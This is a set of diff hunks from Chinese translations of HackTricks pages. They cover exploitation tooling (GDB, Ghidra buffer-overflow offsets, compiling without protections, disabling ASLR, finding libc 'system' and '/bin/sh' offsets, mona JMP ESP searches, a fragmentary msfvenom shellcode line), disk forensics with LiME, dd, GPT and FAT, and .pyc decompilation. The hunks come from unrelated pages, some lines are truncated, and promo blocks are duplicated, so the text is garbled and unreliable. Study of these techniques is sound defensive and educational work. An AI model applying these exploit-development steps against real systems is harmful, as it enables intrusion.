+**objdump -p -/exec**\
+**Info functions strncmp —>** gdb中函数的信息
## 有趣的课程
@@ -528,20 +538,21 @@ bck->fd = bin; 通过使其指向bin来关闭列表
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
-## **参考资料**
+## **参考文献**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
+{% hint style="success" %}
+学习和实践AWS黑客技术：[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
@@ -40,7 +39,7 @@ apt-get install gdb
-x # Auto-execute GDB instructions from here
-p # Attach to process
```
-### 说明
+### 指令
```bash
run # Execute
start # Start and break in main
@@ -126,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-### 技巧
+### Tricks
-#### GDB相同地址
+#### GDB 相同地址
-在调试时，GDB的地址会**与执行时二进制文件使用的地址略有不同**。您可以通过以下步骤使GDB具有相同的地址：
+在调试时，GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址：
-- `unset env LINES`
-- `unset env COLUMNS`
-- `set env _=` _将二进制文件的绝对路径放在这里_
-- 使用相同的绝对路径利用二进制文件
-- 使用GDB和利用二进制文件时，`PWD`和`OLDPWD`必须相同
+* `unset env LINES`
+* `unset env COLUMNS`
+* `set env _=` _放入二进制文件的绝对路径_
+* 使用相同的绝对路径利用二进制文件
+* 使用 GDB 和利用二进制文件时，`PWD` 和 `OLDPWD` 必须相同
#### 回溯以查找调用的函数
-当您有一个**静态链接的二进制文件**时，所有函数将属于该二进制文件（而不是外部库）。在这种情况下，**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
-您可以通过使用**gdb**运行二进制文件直到要求输入时，停止它并使用**`bt`**（**backtrace**）命令查看调用的函数：
+当你有一个 **静态链接的二进制文件** 时，所有函数都将属于该二进制文件（而不是外部库）。在这种情况下，**识别二进制文件请求用户输入的流程将会很困难。**\
+你可以通过 **运行** 二进制文件并使用 **gdb** 直到被要求输入来轻松识别这个流程。然后，使用 **CTRL+C** 停止它，并使用 **`bt`** （**回溯**）命令查看调用的函数：
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -152,84 +151,86 @@ gef➤ bt
```
### GDB 服务器
-`gdbserver --multi 0.0.0.0:23947`（在IDA中，您必须填写Linux机器和Windows机器中可执行文件的绝对路径）
+`gdbserver --multi 0.0.0.0:23947`（在 IDA 中，您必须填写 Linux 机器上可执行文件的绝对路径，在 Windows 机器上也是如此）
## Ghidra
-### 查找堆栈偏移
+### 查找栈偏移量
-**Ghidra** 对于查找**缓冲区溢出的偏移**非常有用，因为它提供了关于本地变量位置的信息。\
-例如，在下面的示例中，`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外，如果 `local_10` 是一个 canary cookie，则从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\
-_请记住，保存 RIP 的第一个 0x08 属于 RBP。_
+**Ghidra** 非常有用，可以找到 **缓冲区溢出的偏移量，感谢有关局部变量位置的信息。**\
+例如，在下面的示例中，`local_bc` 中的缓冲区流指示您需要 `0xbc` 的偏移量。此外，如果 `local_10` 是一个金丝雀 cookie，则表示要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\
+_请记住，保存 RIP 的前 0x08 属于 RBP。_
.png>)
## GCC
-**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 无保护编译\
+**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\
**-o** --> 输出\
-**-g** --> 保存代码（GDB 可以查看）\
-**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
+**-g** --> 保存代码（GDB 将能够看到它）\
+**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在 Linux 中停用 ASLR
-**编译 shellcode:**\
-**nasm -f elf assembly.asm** --> 返回“.o”\
+**编译 shellcode：**\
+**nasm -f elf assembly.asm** --> 返回一个 ".o"\
**ld assembly.o -o shellcodeout** --> 可执行文件
## Objdump
-**-d** --> 反汇编可执行文件的**部分**（查看编译后的 shellcode 的操作码，查找 ROP Gadgets，查找函数地址...）\
+**-d** --> **反汇编可执行**部分（查看编译的 shellcode 的操作码，查找 ROP Gadget，查找函数地址...）\
**-Mintel** --> **Intel** 语法\
**-t** --> **符号**表\
**-D** --> **反汇编所有**（静态变量的地址）\
**-s -j .dtors** --> dtors 部分\
**-s -j .got** --> got 部分\
\-D -s -j .plt --> **plt** 部分 **反编译**\
+**-TR** --> **重定位**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 地址\
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址（这些存储在 DATA 部分）。
-## Core dumps
+## 核转储
-1. 在启动程序之前运行 `ulimit -c unlimited`
+1. 在启动我的程序之前运行 `ulimit -c unlimited`
2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
-3. `sudo gdb --core=\ --quiet`
+3. sudo gdb --core=\ --quiet
## 更多
-**ldd executable | grep libc.so.6** --> 地址（如果启用 ASLR，则每次都会更改）\
-**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否经常更改\
-**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\
-**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移
+**ldd executable | grep libc.so.6** --> 地址（如果 ASLR，则每次都会更改）\
+**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\
+**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量
**strace executable** --> 可执行文件调用的函数\
**rabin2 -i ejecutable -->** 所有函数的地址
-## **Inmunity debugger**
+## **Inmunity 调试器**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
-### 在远程 Linux 中进行调试
+### 在远程 Linux 中调试
-在 IDA 文件夹中，您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做，请将 _linux\_server_ 或 _linux\_server64_ 二进制文件移动到 Linux 服务器中，并在包含该二进制文件的文件夹中运行它：
+在 IDA 文件夹中，您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点，将二进制文件 _linux\_server_ 或 _linux\_server64_ 移动到 Linux 服务器中，并在包含该二进制文件的文件夹中运行它：
```
./linux_server64 -Ppass
```
-然后，配置调试器：调试器（linux 远程）--> 进程选项...:
+然后，配置调试器：调试器（linux 远程） --> 进程选项...：
.png>)
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
 (1) (1) (1) (1) (1) (1).png)
`复制到您的机器上，然后使用它们**编译** LiME：
+因此，如果您有一个相同版本的 Ubuntu，您可以使用 `apt-get install lime-forensics-dkms`\
+在其他情况下，您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**，您可以直接 **复制目录** `/lib/modules/` 到您的机器，然后 **使用它们编译** LiME：
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
-LiME支持3种**格式**：
+LiME 支持 3 **格式**：
-- 原始（每个段连接在一起）
-- 填充（与原始相同，但右位填充为零）
-- Lime（推荐的带有元数据的格式）
+* 原始（每个段落连接在一起）
+* 填充（与原始相同，但右侧位用零填充）
+* Lime（推荐格式，带有元数据）
-LiME还可以用于通过网络发送转储，而不是将其存储在系统上，使用类似以下的内容：`path=tcp:4444`
+LiME 还可以用于 **通过网络发送转储**，而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。
### 磁盘成像
#### 关机
-首先，您需要**关闭系统**。这并不总是一个选项，因为有时系统将是公司无法负担关闭的生产服务器。\
-有**2种**关闭系统的方法，**正常关闭**和**"拔插头"关闭**。第一种方法将允许**进程像往常一样终止**，**文件系统**将被**同步**，但也会允许可能的**恶意软件**破坏证据。"拔插头"方法可能会带来**一些信息丢失**（不会丢失太多信息，因为我们已经对内存进行了镜像），**恶意软件**将没有机会对此做任何事情。因此，如果您**怀疑**可能存在**恶意软件**，只需在系统上执行**`sync`** **命令**，然后拔掉插头。
+首先，您需要 **关闭系统**。这并不总是一个选项，因为有时系统可能是公司无法承受关闭的生产服务器。\
+有 **2 种** 关闭系统的方法，**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**，并使 **文件系统** **同步**，但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会导致 **一些信息丢失**（由于我们已经获取了内存的映像，丢失的信息不会很多），并且 **恶意软件将没有机会** 采取任何行动。因此，如果您 **怀疑** 可能存在 **恶意软件**，请在系统上执行 **`sync`** **命令** 然后拔掉插头。
-#### 对磁盘进行成像
+#### 获取磁盘映像
-重要的是要注意，在**将计算机连接到与案件相关的任何内容之前**，您需要确保它将以**只读**方式挂载，以避免修改任何信息。
+重要的是要注意，在 **将计算机连接到与案件相关的任何设备之前**，您需要确保它将以 **只读方式挂载**，以避免修改任何信息。
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### 磁盘映像预分析
-使用无更多数据的磁盘映像。
+对没有更多数据的磁盘映像进行成像。
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,7 +157,7 @@ ThisisTheMasterSecret
 (1) (1) (1) (1) (1) (1) (1).png)
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
-**LBA（逻辑块寻址）**
+**LBA (逻辑块寻址)**
-**逻辑块寻址**（**LBA**）是一种常用的方案，用于指定存储在计算机存储设备上的数据块的位置，通常是硬盘驱动器等二级存储系统。LBA是一种特别简单的线性寻址方案；**通过整数索引来定位块**，第一个块为LBA 0，第二个为LBA 1，依此类推。
+**逻辑块寻址** (**LBA**) 是一种常用的方案，用于**指定存储在计算机存储设备上的数据块的位置**，通常是硬盘驱动器等二级存储系统。LBA 是一种特别简单的线性寻址方案；**块通过整数索引定位**，第一个块为 LBA 0，第二个为 LBA 1，依此类推。
-### GPT（GUID分区表）
+### GPT (GUID 分区表)
-GUID分区表，简称GPT，因其与MBR（主引导记录）相比增强的功能而备受青睐。GPT以其**全局唯一标识符**为分区而脱颖而出，具有以下几个显著特点：
+GUID 分区表，称为 GPT，因其相较于 MBR（主引导记录）具有增强的能力而受到青睐。GPT 以其**全局唯一标识符**为分区而独树一帜，具体体现在几个方面：
-* **位置和大小**：GPT和MBR都从**扇区0**开始。但是，GPT使用**64位**，与MBR的32位形成对比。
-* **分区限制**：GPT在Windows系统上支持**最多128个分区**，并可容纳**高达9.4ZB**的数据。
-* **分区名称**：提供了使用最多36个Unicode字符命名分区的功能。
+* **位置和大小**：GPT 和 MBR 都从**扇区 0** 开始。然而，GPT 采用**64位**，与 MBR 的 32位 相对。
+* **分区限制**：GPT 在 Windows 系统上支持最多**128个分区**，并可容纳高达**9.4ZB**的数据。
+* **分区名称**：提供最多 36 个 Unicode 字符的分区命名能力。
**数据弹性和恢复**：
-* **冗余**：与MBR不同，GPT不将分区和引导数据限制在单一位置。它在整个磁盘上复制这些数据，增强数据完整性和弹性。
-* **循环冗余校验（CRC）**：GPT采用CRC来确保数据完整性。它积极监视数据损坏，一旦检测到，GPT会尝试从另一个磁盘位置恢复损坏的数据。
+* **冗余**：与 MBR 不同，GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据，从而增强数据完整性和弹性。
+* **循环冗余检查 (CRC)**：GPT 使用 CRC 来确保数据完整性。它主动监控数据损坏，并在检测到时，尝试从另一个磁盘位置恢复损坏的数据。
-**保护性MBR（LBA0）**：
+**保护性 MBR (LBA0)**：
-* GPT通过保护性MBR实现向后兼容性。此功能位于传统MBR空间中，但旨在防止旧的基于MBR的实用程序错误地覆盖GPT磁盘，从而保护GPT格式化磁盘上的数据完整性。
+* GPT 通过保护性 MBR 维持向后兼容性。此功能位于传统 MBR 空间中，但旨在防止较旧的基于 MBR 的工具错误地覆盖 GPT 磁盘，从而保护 GPT 格式磁盘上的数据完整性。
.png>)
-**混合MBR（LBA 0 + GPT）**
+**混合 MBR (LBA 0 + GPT)**
[来自维基百科](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-在支持**通过BIOS进行基于GPT的引导**的操作系统中，第一个扇区也可能仍然用于存储**引导加载程序**代码的第一阶段，但**修改**以识别**GPT分区**。 MBR中的引导加载程序不得假定扇区大小为512字节。
+在支持**通过 BIOS** 服务而非 EFI 的**GPT 启动**的操作系统中，第一个扇区仍然可以用于存储**引导加载程序**代码的第一阶段，但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
-**分区表头（LBA 1）**
+**分区表头 (LBA 1)**
[来自维基百科](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
-分区表头定义了磁盘上可用的块。它还定义了组成分区表的分区条目的数量和大小（表中的偏移量80和84）。
+分区表头定义了磁盘上的可用块。它还定义了构成分区表的分区条目的数量和大小（表中的偏移量 80 和 84）。
-| 偏移量 | 长度 | 内容 |
-| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| 0 (0x00) | 8字节 | 签名（“EFI PART”，45h 46h 49h 20h 50h 41h 52h 54h或0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)在小端机器上） |
-| 8 (0x08) | 4字节 | UEFI 2.8的版本1.0（00h 00h 01h 00h） |
-| 12 (0x0C) | 4字节 | 以小端序表示的头部大小（以字节为单位，通常为5Ch 00h 00h 00h或92字节） |
-| 16 (0x10) | 4字节 | 头部的CRC32（从偏移量+0到头部大小的小端序），在计算过程中将此字段清零 |
-| 20 (0x14) | 4字节 | 保留；必须为零 |
-| 24 (0x18) | 8字节 | 当前LBA（此头部副本的位置） |
-| 32 (0x20) | 8字节 | 备份LBA（另一个头部副本的位置） |
-| 40 (0x28) | 8字节 | 用于分区的第一个可用LBA（主分区表的最后一个LBA + 1） |
-| 48 (0x30) | 8字节 | 最后一个可用LBA（次要分区表的第一个LBA - 1） |
-| 56 (0x38) | 16字节 | 混合端序的磁盘GUID |
-| 72 (0x48) | 8字节 | 分区条目数组的起始LBA（主副本中始终为2） |
-| 80 (0x50) | 4字节 | 数组中的分区条目数量 |
-| 84 (0x54) | 4字节 | 单个分区条目的大小（通常为80h或128） |
-| 88 (0x58) | 4字节 | 分区条目数组的CRC32（小端序） |
-| 92 (0x5C) | \* | 保留；对于块的其余部分必须为零（对于512字节的扇区大小为420字节；但对于更大的扇区大小可能会更多） |
+| 偏移量 | 长度 | 内容 |
+| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) 在小端机器上) |
+| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 |
+| 12 (0x0C) | 4 字节 | 小端的头部大小（以字节为单位，通常为 5Ch 00h 00h 00h 或 92 字节） |
+| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 头部的 CRC（偏移量 +0 到头部大小）的小端，计算时此字段为零 |
+| 20 (0x14) | 4 字节 | 保留；必须为零 |
+| 24 (0x18) | 8 字节 | 当前 LBA（此头部副本的位置） |
+| 32 (0x20) | 8 字节 | 备份 LBA（另一个头部副本的位置） |
+| 40 (0x28) | 8 字节 | 分区的第一个可用 LBA（主分区表最后 LBA + 1） |
+| 48 (0x30) | 8 字节 | 最后可用 LBA（次分区表第一个 LBA − 1） |
+| 56 (0x38) | 16 字节 | 磁盘 GUID 的混合字节序 |
+| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA（主副本中始终为 2） |
+| 80 (0x50) | 4 字节 | 数组中分区条目的数量 |
+| 84 (0x54) | 4 字节 | 单个分区条目的大小（通常为 80h 或 128） |
+| 88 (0x58) | 4 字节 | 分区条目数组的小端 CRC32 |
+| 92 (0x5C) | \* | 保留；对于块的其余部分必须为零（对于 512 字节的扇区大小为 420 字节；但对于更大的扇区大小可以更多） |
-**分区条目（LBA 2–33）**
+**分区条目 (LBA 2–33)**
-| GUID分区条目格式 | | |
-| ---------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
-| 偏移量 | 长度 | 内容 |
-| 0 (0x00) | 16字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)（混合端序） |
-| 16 (0x10) | 16字节 | 唯一分区GUID（混合端序） |
-| 32 (0x20) | 8字节 | 第一个LBA（[小端序](https://en.wikipedia.org/wiki/Little\_endian)） |
-| 40 (0x28) | 8字节 | 最后一个LBA（包括，通常为奇数） |
-| 48 (0x30) | 8字节 | 属性标志（例如，位60表示只读） |
-| 56 (0x38) | 72字节 | 分区名称（36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元） |
+| GUID 分区条目格式 | | |
+| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
+| 偏移量 | 长度 | 内容 |
+| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (混合字节序) |
+| 16 (0x10) | 16 字节 | 唯一分区 GUID (混合字节序) |
+| 32 (0x20) | 8 字节 | 第一个 LBA ([小端](https://en.wikipedia.org/wiki/Little\_endian)) |
+| 40 (0x28) | 8 字节 | 最后 LBA（包含，通常为奇数） |
+| 48 (0x30) | 8 字节 | 属性标志（例如，第 60 位表示只读） |
+| 56 (0x38) | 72 字节 | 分区名称（36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元） |
**分区类型**
.png>)
-更多分区类型请参阅[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
+更多分区类型请见 [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### 检查
-在使用[ArsenalImageMounter](https://arsenalrecon.com/downloads/)挂载取证镜像后，您可以使用Windows工具[Active Disk Editor](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中检测到了一个**MBR**在**扇区0**并进行了解释：
+在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后，可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)** 检查第一个扇区**。在下图中，在**扇区 0** 检测到一个 **MBR** 并进行了解释：
.png>)
-如果是**GPT表而不是MBR**，则应在**扇区1**中出现签名_EFI PART_（在上图中为空）。
+如果是**GPT 表而不是 MBR**，则在**扇区 1** 中应出现签名 _EFI PART_（在前面的图像中是空的）。
+
## 文件系统
### Windows 文件系统列表
@@ -160,70 +162,70 @@ GUID分区表，简称GPT，因其与MBR（主引导记录）相比增强的功
### FAT
-**FAT (文件分配表)** 文件系统围绕其核心组件设计，即位于卷开头的文件分配表。该系统通过维护**两份副本**的表来保护数据，即使其中一份损坏，也能确保数据完整性。表和根文件夹必须位于**固定位置**，对系统的启动过程至关重要。
+**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计，该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据，确保即使一个副本损坏也能保持数据完整性。该表及根文件夹必须位于**固定位置**，这对系统的启动过程至关重要。
-文件系统的基本存储单元是一个**簇，通常为512B**，包含多个扇区。FAT已经通过多个版本的演变：
+文件系统的基本存储单位是**簇，通常为 512B**，由多个扇区组成。FAT 经过多个版本的演变：
-* **FAT12**，支持12位簇地址，处理多达4078个簇（UNIX为4084个）。
-* **FAT16**，升级到16位地址，从而容纳多达65,517个簇。
-* **FAT32**，进一步使用32位地址，允许每个卷有惊人的268,435,456个簇。
+* **FAT12**，支持 12 位簇地址，处理最多 4078 个簇（与 UNIX 一起为 4084）。
+* **FAT16**，增强为 16 位地址，从而容纳最多 65,517 个簇。
+* **FAT32**，进一步发展为 32 位地址，允许每个卷高达 268,435,456 个簇。
-FAT版本之间的一个重要限制是**4GB的最大文件大小**，由用于文件大小存储的32位字段所施加。
+所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**，这是由于用于文件大小存储的 32 位字段所致。
-根目录的关键组件，特别是对于FAT12和FAT16，包括：
+根目录的关键组件，特别是对于 FAT12 和 FAT16，包括：
-* **文件/文件夹名称**（最多8个字符）
+* **文件/文件夹名称**（最多 8 个字符）
* **属性**
* **创建、修改和最后访问日期**
-* **FAT表地址**（指示文件的起始簇）
+* **FAT 表地址**（指示文件的起始簇）
* **文件大小**
### EXT
-**Ext2**是**不记录日志**分区的最常见文件系统（**不经常更改的分区**，如引导分区）。**Ext3/4**是**记录日志**的，通常用于**其余分区**。
+**Ext2** 是最常见的**非日志**分区（**不经常更改的分区**）的文件系统，如引导分区。**Ext3/4** 是**日志**文件系统，通常用于**其余分区**。
## **元数据**
-一些文件包含元数据。这些信息是关于文件内容的，有时可能会对分析人员感兴趣，因为根据文件类型的不同，它可能包含信息如下：
+某些文件包含元数据。这些信息是关于文件内容的，有时对分析师可能很有趣，因为根据文件类型，它可能包含如下信息：
* 标题
-* 使用的MS Office版本
+* 使用的 MS Office 版本
* 作者
* 创建和最后修改日期
* 相机型号
-* GPS坐标
+* GPS 坐标
* 图像信息
-您可以使用像[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)这样的工具来获取文件的元数据。
+您可以使用 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 等工具获取文件的元数据。
## **已删除文件恢复**
### 记录的已删除文件
-正如之前所见，文件“删除”后仍然保存在几个地方。这是因为通常从文件系统中删除文件只是将其标记为已删除，但数据并未被触及。然后，可以检查文件的注册表（如MFT）并找到已删除的文件。
+如前所述，文件在“删除”后仍然保存在多个地方。这是因为通常从文件系统中删除文件只是将其标记为已删除，但数据并未被触及。因此，可以检查文件的注册表（如 MFT）并找到已删除的文件。
-此外，操作系统通常保存有关文件系统更改和备份的大量信息，因此可以尝试使用它们来恢复文件或尽可能多地获取信息。
+此外，操作系统通常会保存大量关于文件系统更改和备份的信息，因此可以尝试使用它们来恢复文件或尽可能多的信息。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### **文件切割**
+### **文件雕刻**
-**文件切割**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作方式有3种主要方式：**基于文件类型的头部和尾部**，基于文件类型的**结构**，以及基于**内容**本身。
+**文件雕刻**是一种尝试在大量数据中**查找文件**的技术。此类工具的主要工作方式有三种：**基于文件类型的头部和尾部**、基于文件类型的**结构**和基于**内容**本身。
-请注意，此技术**无法用于检索分段的文件**。如果文件**未存储在连续的扇区中**，则此技术将无法找到它，或者至少无法找到部分文件。
+请注意，这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**，则此技术将无法找到它，或至少无法找到其部分。
-有几种工具可用于文件切割，指示您要搜索的文件类型
+您可以使用多种工具进行文件雕刻，指明您要搜索的文件类型。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### 数据流**切割**
+### 数据流 **C**arving
-数据流切割类似于文件切割，但**不是寻找完整文件，而是寻找有趣的信息片段**。\
-例如，与寻找包含记录的URL的完整文件不同，此技术将搜索URL。
+数据流雕刻类似于文件雕刻，但**不是查找完整文件，而是查找有趣的信息片段**。\
+例如，代替查找包含记录的 URL 的完整文件，此技术将搜索 URL。
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@@ -231,27 +233,28 @@ FAT版本之间的一个重要限制是**4GB的最大文件大小**，由用于
### 安全删除
-显然，有方法可以**“安全地”删除文件和有关它们的部分日志**。例如，可以**多次覆盖文件内容**以垃圾数据，然后**删除**有关文件的**$MFT**和**$LOGFILE**的日志，并**删除卷影复制**。\
-您可能会注意到，即使执行了该操作，仍可能**记录文件存在的其他部分**，这是取证专业人员工作的一部分，是要找到它们。
+显然，有方法可以**“安全”删除文件及其部分日志**。例如，可以**多次用垃圾数据覆盖**文件的内容，然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**，并**删除卷影副本**。\
+您可能会注意到，即使执行该操作，仍可能有**其他部分记录了文件的存在**，这确实是事实，取证专业人员的工作之一就是找到它们。
-## 参考资料
+## 参考文献
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
-* **iHackLabs Certified Digital Forensics Windows**
+* **iHackLabs 认证数字取证 Windows**
+
+{% hint style="success" %}
+学习和实践 AWS 黑客攻击：[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客攻击： [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
# The list of python modules will be given here:
@@ -41,38 +42,38 @@ pyi-archive_viewer
? X binary_name
to filename? /tmp/binary.pyc
```
-在一个**Python可执行二进制文件**中编译，您可以通过运行以下命令**获取 .pyc 文件**：
+在一个**python exe 二进制**文件中，你可以通过运行来**获取 .pyc**：
```bash
python pyinstxtractor.py executable.exe
```
-## 从 .pyc 文件到 Python 代码
+## 从 .pyc 到 python 代码
-对于 **.pyc** 数据（"已编译"的 Python），您应该开始尝试 **提取** **原始** **Python** **代码**：
+对于 **.pyc** 数据（“编译的” python），您应该开始尝试 **提取** **原始** **python** **代码**：
```bash
uncompyle6 binary.pyc > decompiled.py
```
-**确保**二进制文件的**扩展名**为"**.pyc**"（如果不是，则uncompyle6将无法工作）
+**确保**二进制文件具有**扩展名**“**.pyc**”（如果没有，uncompyle6将无法工作）
-在执行**uncompyle6**时，您可能会遇到以下错误：
+在执行**uncompyle6**时，您可能会遇到**以下错误**：
-### 错误：未知的魔术数字227
+### 错误：未知的魔术数字 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
-要修复这个问题，您需要在生成的文件开头**添加正确的魔术数字**。
+要解决此问题，您需要**在生成的文件开头添加正确的魔术数字**。
-**魔术数字随Python版本而变化**，要获取**Python 3.8**的魔术数字，您需要**打开Python 3.8**终端并执行：
+**魔术数字因 Python 版本而异**，要获取**Python 3.8**的魔术数字，您需要**打开一个 Python 3.8**终端并执行：
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
-在这种情况下，Python3.8 的**魔术数字**是**`0x550d0d0a`**，为了修复这个错误，您需要在**.pyc 文件**的**开头**添加以下字节：`0x0d550a0d000000000000000000000000`
+在这种情况下，python3.8 的 **magic number** 是 **`0x550d0d0a`**，然后，要修复此错误，您需要在 **.pyc 文件** 的 **开头** 添加以下字节：`0x0d550a0d000000000000000000000000`
-**一旦**您添加了这个魔术头部，错误应该就会被修复。
+**一旦** 您 **添加** 了该魔术头，**错误应该被修复。**
-这是一个正确添加的**.pyc Python3.8 魔术头部**的样子：
+这就是正确添加的 **.pyc python3.8 magic header** 的样子：
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -82,19 +83,19 @@ hexdump 'binary.pyc' | head
```
### 错误：反编译通用错误
-**其他错误**，如：`class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` 可能会出现。
